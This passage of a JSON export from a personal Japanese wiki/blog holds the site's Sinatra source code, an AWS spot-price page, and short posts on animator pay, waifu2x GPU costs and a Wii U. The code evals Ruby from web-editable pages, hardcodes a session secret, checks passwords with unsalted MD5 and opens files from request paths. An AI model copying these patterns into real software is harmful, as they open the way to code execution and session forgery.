end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2015-05-06T08:05:45.000Z","updated_at":"2015-05-06T08:05:45.000Z"},{"id":2870,"name":"pwd","body":"ruby\r\nDir.pwd","created_at":"2015-05-06T09:30:15.000Z","updated_at":"2015-05-06T09:30:15.000Z"},{"id":2871,"name":"source","body":"haml このサイトのソース\r\n!!!\r\n%title ssig33.com - このサイトのソース\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/sh_main.min.js\"}\r\n%script{:src =\u003e \"/sh_ext.js\"}\r\n%script{:src =\u003e \"/jquery-1.6.1.min.js\"}\r\n#all\r\n %h1 このサイトのソース\r\n %h2 ちょっとした解説\r\n %p Web から楽にサイトを更新したいというよくあるアレ。\r\n\r\n %p ただの Wiki 形式だと出力できるのが固定に layout された html だけなので、いろいろやっています。\r\n\r\n %p まず何も考えずにページを新規作成すると Markdown として扱われます。\r\n\r\n %p ページの行頭に title ほげふが と入れておくとページタイトルがほげふがになります。\r\n\r\n %p 頭に haml *title と入れておくと、 haml としてレンダリングされます。自由なレイアウトのページも Web 上から更新することが出来ます。 haml 内で Ruby のコードを記述することも出来、とても幸せになれます。\r\n\r\n %p 頭に builder *title と入れておくと、 builder テンプレートとしてレンダリングされます。 RSS など XML を吐きたい時に便利。 Ruby を書けるので幸せになれます。\r\n\r\n %p 頭に raw でいれたものをそのまま吐きます。 js をアップロードしたり貼ったりしたい時に便利。\r\n\r\n %p 頭に ruby で ruby のコードとして評価した結果を返す。何かに使えて便利。\r\n\r\n %p 以下のソースを読めば分かると思いますが、 \u003ca href='source/app.rb'\u003e/source/app.rb\u003c/a\u003e にソースがある場合はそれを使います。ソースすらサイトから更新出来るようにした。\r\n\r\n %h2 app.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"app.rb\").read\r\n\r\n %h2 migrate/0_create_pages.rb\r\n %pre{:lang =\u003e \"ruby\"}\r\n %code~open(\"migrate/0_create_pages.rb\").read\r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n code.remove();\r\n pre.text(text);\r\n var lang = pre.attr(\"lang\");\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();","created_at":"2015-05-06T09:31:02.000Z","updated_at":"2015-05-06T09:31:02.000Z"},{"id":2872,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass SearchIndex \u003c ActiveRecord::Base\r\nend\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body, *time\r\n if time.first.to_i != 0\r\n time = time.first\r\n else\r\n time = 20\r\n end\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+time].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.puts value}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget '/gyazo/:id' do\r\n redirect \"http://gview.ssig33.com/gyazo/#{params[:id]}\"\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache = get_cache(cache_path)\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n set_cache(cache_path, for_cache, 80000)\r\n else\r\n set_cache(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n Dir.glob(\"cache/*\").each{|x| FileUtils.rm x}\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n s = SearchIndex.where(page_name: page.name).first_or_initialize\r\n s.body = page.body\r\n s.page_id = page.id\r\n s.save\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2015-05-13T05:29:29.000Z","updated_at":"2015-05-13T05:29:29.000Z"},{"id":2873,"name":"text/なぜアニメーターの生活が困窮するのか","body":"%blog%\r\n\r\nアニメ業界の産業規模が富士通グループの 1/3 ほどしか無いからである。アニメなど大した需要はないので給料も当然安い。\r\n\r\n- http://aja.gr.jp/wp-content/themes/AJA/files/sangyo_toukei/sangyo_report2012.pdf\r\n- http://www.itmedia.co.jp/enterprise/articles/1505/01/news040.html","created_at":"2015-05-26T00:51:56.000Z","updated_at":"2015-05-26T00:51:56.000Z"},{"id":2874,"name":"text/なぜアニメーターの生活が困窮するのか","body":"%blog%\r\n\r\nアニメの産業規模が富士通グループの 1/3 ほどしか無いからである。アニメなど大した需要はないので給料も当然安い。\r\n\r\n- http://aja.gr.jp/wp-content/themes/AJA/files/sangyo_toukei/sangyo_report2012.pdf\r\n- http://www.itmedia.co.jp/enterprise/articles/1505/01/news040.html","created_at":"2015-05-26T00:53:08.000Z","updated_at":"2015-05-26T00:53:08.000Z"},{"id":2875,"name":"text/なぜアニメーターの生活が困窮するのか","body":"%blog%\r\n\r\nアニメの産業規模が富士通グループの 1/3 ほどしか無いからである。アニメなど大した需要はないので給料も当然安い。\r\n\r\n- http://aja.gr.jp/wp-content/themes/AJA/files/sangyo_toukei/sangyo_report2012.pdf\r\n- http://www.itmedia.co.jp/enterprise/articles/1505/01/news040.html","created_at":"2015-05-26T00:53:08.000Z","updated_at":"2015-05-26T00:53:08.000Z"},{"id":2876,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\ndef mini_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 1000000000000\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f\r\n i = t if i \u003e t\r\n }\r\n i\r\n }.sort.first\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['c4.8xlarge', '36CPU 60GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GB'],\r\n ['g2.xlarge', 'GPU']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n mini = mini_price(x.first)\r\n {name: x.first, desc: x.last, price: ppoi.first, mini: mini, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title スポットインスタンスのそれっぽい価格一覧\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最近の安値\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"  \"\r\n %td=i[:desc]+\"  \"\r\n %td=i[:price].to_s+\"  \"\r\n %td=i[:mini]\r\n %p\r\n %a{href: \"http://ssig33.com/edit/spot_instance_price\"} ソース\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-05-27T16:36:19.000Z","updated_at":"2015-05-27T16:36:19.000Z"},{"id":2877,"name":"spot_instance_price","body":"ruby\r\n\r\nAWS.config(access_key_id: AWS_ID, secret_access_key: AWS_KEY, region: 'ap-northeast-1')\r\n\r\n\r\ndef soreppoi_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 0\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f + 0.005\r\n i = t if i \u003c t\r\n }\r\n [(i*1.2).round(4), az]\r\n }.sort{|a,b| a.first \u003c=\u003e b.first}\r\nend\r\n\r\ndef mini_price type\r\n ec2 = AWS::EC2.new\r\n [\"ap-northeast-1a\", \"ap-northeast-1c\"].map{|az|\r\n options = {\r\n :instance_types =\u003e [type],\r\n :availability_zone =\u003e az,\r\n :start_time =\u003e (Time.now - 60 * 60 * 24).iso8601,\r\n }\r\n resp = ec2.client.describe_spot_price_history(options)\r\n i = 1000000000000\r\n resp[:spot_price_history_set].select{|h| h[:product_description] =~ /Linux/}.each{|history|\r\n t = history[:spot_price].to_f\r\n i = t if i \u003e t\r\n }\r\n i\r\n }.sort.first\r\nend\r\n\r\nis = [\r\n ['m3.large', '2CPU 7.5GB'], \r\n ['m3.xlarge', '4CPU 15GB'], \r\n ['c4.xlarge', '4CPU 7.5GB'],\r\n ['c4.2xlarge', '8CPU 15GB'],\r\n ['c4.8xlarge', '36CPU 60GB'],\r\n ['r3.xlarge', '4CPU 30.5GB'],\r\n ['r3.2xlarge', '8CPU 61GB'],\r\n ['g2.2xlarge', 'GPU']\r\n].map{|x|\r\n ppoi = soreppoi_price(x.first).first\r\n mini = mini_price(x.first)\r\n {name: x.first, desc: x.last, price: ppoi.first, mini: mini, az: ppoi.last}\r\n}\r\n\r\nsoreppoi_price(\"m3.large\").first.first\r\n\r\ntemplate = \u003c\u003cEOS\r\n%title スポットインスタンスのそれっぽい価格一覧\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"/jquery.js\"}\r\n#all\r\n %h1 スポットインスタンスのそれっぽい価格一覧\r\n %h2 現在これくらい払えば安定して使えるんじゃないでしょうか的なアレ\r\n %table\r\n %tr\r\n %th タイプ\r\n %th 性能\r\n %th 価格($/h)\r\n %th 最近の安値\r\n -is.each do |i|\r\n %tr\r\n %td=i[:name]+\"  \"\r\n %td=i[:desc]+\"  \"\r\n %td=i[:price].to_s+\"  \"\r\n %td=i[:mini]\r\n %p\r\n %a{href: \"http://ssig33.com/edit/spot_instance_price\"} ソース\r\nEOS\r\n\r\n\r\nHaml::Engine.new(template).render(Object.new, {is: is})","created_at":"2015-05-27T16:37:01.000Z","updated_at":"2015-05-27T16:37:01.000Z"},{"id":2878,"name":"text/waifu2x を GTX 980Ti で","body":"%blog%\r\n\r\n全国 20 億人の HD アニメファンの皆様こんにちわ。 [waifu2x でアニメをアプコンする](http://unsui.hatenablog.com/entry/2015/05/27/193223)という試みがあります。\r\n\r\nこれを本格的にやっていくことについて今日は考えてみます。\r\n\r\n当該記事を読んで頂ければわかりますが、 g2.2xlarge を使用した場合およそ一本をコンバートするのに 700 円かかります。\r\n\r\nところで g2.2xlarge は GRID K520 を搭載していて、そのうちの 1536 個の CUDA コアを使うことができます。これはほぼ GTX 680 に相当します。\r\n\r\nGTX 980Ti の CUDA コア数は諸説入り乱れていましたが 2816 コアのようです。\r\n\r\nwaifu2x の処理性能は CUDA コア数にほぼ比例して向上しますから、 GTX 980Ti を搭載したマシンの性能は g2.2xlarge インスタンスの二倍の性能があると考えることができます。\r\n\r\nまた 980Ti の価格は 800 ドルほどですから、送料に消費税および関税を考慮すると 11 万円ほどで購入することができます。\r\n\r\nまた TITAN X でシステムを構築した場合、アクティブ時の消費電力は 400W ほどです。\r\n\r\ng2.2xlarge インスタンスでアニメをアプコンするのには 83 時間かかることを考えると、 980Ti マシンでは 42 時間変換にかかることになります。\r\n\r\nこうなるとあとは簡単な算数です。\r\n\r\ng2.xlarge のコストはアニメ 1 本ごとにインスタンス使用料 700 円ぐらいです。\r\n\r\n980Ti システムの場合がアニメ 1 本ごとに電気代 400W*40 時間で 400 円ぐらいかかります。\r\n\r\nアニメ 1 本ごとに 300 円節約できます。 980Ti 自体は 11 万円ですから、 110000 / 300 で 367 です。 367 本以上アニメをアプコンする場合、 980Ti の方がお得です。\r\n\r\nところで GTX 980 の価格は 7 万円ぐらいです。 980Ti を買えば 980 よりもっといいグラボとしても使えます。それを考えると 4 万円だけを CUDA のためだけの投資とみなすこともできます。この屁理屈を導入した場合、 134 本以上アニメをアプコンする場合は 980Ti の方がお得です。\r\n\r\n## 結論\r\n- CUDA の為に 980Ti を買うのは無駄\r\n- 素直に g2.2xlarge を使いましょう\r\n - この場合インスタンス立てまくって並列処理して高速化とかも出来ます\r\n- PS3 と HDMI キャプチャでアプコンするのが一番いいと思います。","created_at":"2015-05-31T04:29:37.000Z","updated_at":"2015-05-31T04:29:37.000Z"},{"id":2879,"name":"text/waifu2x を GTX 980Ti で","body":"%blog%\r\n\r\n全国 20 億人の HD アニメファンの皆様こんにちわ。 [waifu2x でアニメをアプコンする](http://unsui.hatenablog.com/entry/2015/05/27/193223)という試みがあります。\r\n\r\nこれを本格的にやっていくことについて今日は考えてみます。\r\n\r\n当該記事を読んで頂ければわかりますが、 g2.2xlarge を使用した場合およそ一本をコンバートするのに 700 円かかります。\r\n\r\nところで g2.2xlarge は GRID K520 を搭載していて、そのうちの 1536 個の CUDA コアを使うことができます。これはほぼ GTX 680 に相当します。\r\n\r\nGTX 980Ti の CUDA コア数は諸説入り乱れていましたが 2816 コアのようです。\r\n\r\nwaifu2x の処理性能は CUDA コア数にほぼ比例して向上しますから、 GTX 980Ti を搭載したマシンの性能は g2.2xlarge インスタンスの二倍の性能があると考えることができます。\r\n\r\nまた 980Ti の価格は 800 ドルほどですから、送料に消費税および関税を考慮すると 11 万円ほどで購入することができます。\r\n\r\nまた TITAN X でシステムを構築した場合、アクティブ時の消費電力は 400W ほどです。 980Ti でも似たようなもんでしょう。\r\n\r\ng2.2xlarge インスタンスでアニメをアプコンするのには 83 時間かかることを考えると、 980Ti マシンでは 42 時間変換にかかることになります。\r\n\r\nこうなるとあとは簡単な算数です。\r\n\r\ng2.xlarge のコストはアニメ 1 本ごとにインスタンス使用料 700 円ぐらいです。\r\n\r\n980Ti システムの場合がアニメ 1 本ごとに電気代 400W*40 時間で 400 円ぐらいかかります。\r\n\r\nアニメ 1 本ごとに 300 円節約できます。 980Ti 自体は 11 万円ですから、 110000 / 300 で 367 です。 367 本以上アニメをアプコンする場合、 980Ti の方がお得です。\r\n\r\nところで GTX 980 の価格は 7 万円ぐらいです。 980Ti を買えば 980 よりもっといいグラボとしても使えます。それを考えると 4 万円だけを CUDA のためだけの投資とみなすこともできます。この屁理屈を導入した場合、 134 本以上アニメをアプコンする場合は 980Ti の方がお得です。\r\n\r\n## 結論\r\n- CUDA の為に 980Ti を買うのは無駄\r\n- 素直に g2.2xlarge を使いましょう\r\n - この場合インスタンス立てまくって並列処理して高速化とかも出来ます\r\n- PS3 と HDMI キャプチャでアプコンするのが一番いいと思います。","created_at":"2015-05-31T04:30:22.000Z","updated_at":"2015-05-31T04:30:22.000Z"},{"id":2880,"name":"text/Wii U 買った","body":"%blog%\r\n\r\n[株式会社ユビレジ](https://ubiregi.com/ja)に入社して気持ちが大きくなったので Wii U とスプラトゥーン買ってきました。\r\n\r\n現状まだみんなあんま慣れてないのでローラー持って走りまわってれば MVP 